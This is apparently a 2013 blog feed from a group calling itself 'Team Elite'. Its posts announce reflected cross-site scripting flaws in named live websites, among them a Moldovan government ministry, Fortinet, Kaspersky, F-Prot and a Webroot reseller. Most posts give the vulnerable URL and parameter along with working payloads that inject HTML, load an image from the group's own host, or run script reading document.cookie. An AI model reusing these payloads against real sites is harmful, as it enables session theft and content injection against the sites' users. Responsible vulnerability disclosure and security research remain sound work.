Ministry of Foreign Affairs and European Integration of the RM - XSS

Vulnerable page: http://www.mfa.gov.md/search-result-form/

PoC:

Kod

http://www.mfa.gov.md/search-result-form/?quotes=1&q="><h1>XSS found by Team Elite</h1>

Kod

http://www.mfa.gov.md/search-result-form/?quotes=1&q="><img src=http://te-home.net/images/logo.png>

You can either include any XSS code in search input box, or request any XSS code directly using GET method and q parameter.

Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.

Postat av Neo den 2013-11-28 13:04 ⋅ 0 comments ⋅ 0 likes

Fortiguard.com virus scanner submission form XSS bug

Vulnerable page: https://submission.fortinet.com/ @ http://www.fortiguard.com/

PoC

POST /scanner.php HTTP/1.1
Host: submission.fortinet.com
name="><img src=http://te-home.net/images/logo.png>

POST /scanner.php HTTP/1.1
Host: submission.fortinet.com
name="><script>alert(document.cookie)</script>

You can either include any XSS code in name input box, or request any XSS code directly using POST method and name parameter.

Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.

Postat av RoLex den 2013-11-28 08:39 ⋅ 0 comments ⋅ 0 likes

Webroot (polish website) - XSS

Vulnerable page: http://wrpolska.pl/sklep/search.php

PoC:

Kod

http://wrpolska.pl/sklep/search.php?orderby=position&orderway=desc&search_query="><h1>XSS found by Team Elite</h1>

Kod

http://wrpolska.pl/sklep/search.php?orderby=position&orderway=desc&search_query="><img src=http://te-home.net/images/logo.png>

You can either include any XSS code in search input box, or request any XSS code directly using GET method and search_query parameter.

Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.

Postat av Neo den 2013-11-27 01:28 ⋅ 0 comments ⋅ 0 likes

F-Prot Antivirus - XSS

Vulnerable page: https://www.f-prot.com/cgi-bin/buy

You can include any XSS code in required fields to reproduce the bug.

PoC:

Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.

Postat av Neo den 2013-11-26 19:30 ⋅ 0 comments ⋅ 1 like

Kaspersky.com support page XSS bug

Vulnerable page: http://support.kaspersky.com/

PoC

http://support.kaspersky.com/search?query="><img src=http://te-home.net/images/logo.png>
http://support.kaspersky.com/search?query="><script>alert(document.cookie)</script>

You can either include any XSS code in search input box, or request any XSS code directly using GET method and query parameter.

Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.

Postat av RoLex den 2013-11-26 15:48 ⋅ 0 comments ⋅ 0 likes